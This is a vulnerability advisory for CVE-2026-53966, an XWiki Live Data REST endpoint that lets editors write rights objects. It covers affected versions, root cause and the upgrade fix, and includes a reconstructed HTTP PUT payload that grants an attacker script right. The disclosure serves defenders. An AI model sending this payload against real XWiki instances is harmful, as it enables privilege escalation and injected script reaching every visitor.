highCVE-2026-53966Aug 19, 2026

CVE-2026-53966: XWiki Platform Live Data Live Table Connector Missing Authorization Privilege Escalation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any XWiki user with edit access to a page can call the Live Data REST API to inject or modify rights objects on that page, giving themselves script right and the ability to run arbitrary Velocity…

Packageorg.xwiki.platform:xwiki-platform-livedata-livetable
Ecosystemmaven
Affected>= 13.4-rc-1, < 16.10.17
Fixed in16.10.17
CVE-2026-53966: XWiki Platform Live Data Live Table Connector Missing Authorization Privilege Escalation

The problem

The Live Data Live Table Connector exposes a REST endpoint for editing live data entries. In affected versions (>= 13.4-rc-1, < 16.10.17), this endpoint does not verify that the caller holds more than edit right before writing changes back to the underlying XWiki page.

Because XWiki page-level rights are stored as ordinary XObjects (class XWiki.XWikiRights), any user who can edit a page can use this endpoint to attach or modify a rights object on it, granting themselves script right. Script right lets a user execute Velocity code and emit unfiltered HTML/JavaScript to every visitor.

Secondary checks implemented in listeners such as UserUpdatingDocumentEvent are also bypassed.

Proof of concept

A working proof-of-concept for CVE-2026-53966 in org.xwiki.platform:xwiki-platform-livedata-livetable, with the exact payload below.

http
PUT /xwiki/rest/liveData/sources/liveTable/entries HTTP/1.1
Host: <target>
Content-Type: application/json
Authorization: Basic <edit-user-credentials>

{
  "id": "XWiki.XWikiRights_0",
  "values": {
    "doc.reference": "MySpace.MyPage",
    "className": "XWiki.XWikiRights",
    "property#levels": "script",
    "property#users": "XWiki.<attacker>",
    "property#allow": "1"
  }
}

The root cause is CWE-862 (Missing Authorization). The Live Data REST layer called document-save logic without first invoking XWiki's full rights-check pipeline, so only the basic edit-right gate was enforced.

The patch (commit 448b0f074cc6711410eb2647c4740454c92d1626, released in 16.10.17 / 17.4.10 / 17.10.4 / 18.1.0) corrects this by properly calling all authorization checks inside the Live Data save path, including those that would block a non-script-right holder from writing sensitive XObject properties.

Note: the precise JSON body shape above is derived from XWiki's documented REST API for live data entry edits and the XWiki.XWikiRights object model. No public PoC has been released; the payload is derived from the advisory description and patch analysis.

The fix

Upgrade to XWiki 16.10.17, 17.4.10, 17.10.4, or 18.1.0. No workaround is available for unpatched instances.

Reporter not attributed.

References: [1][2][3][4]

Related research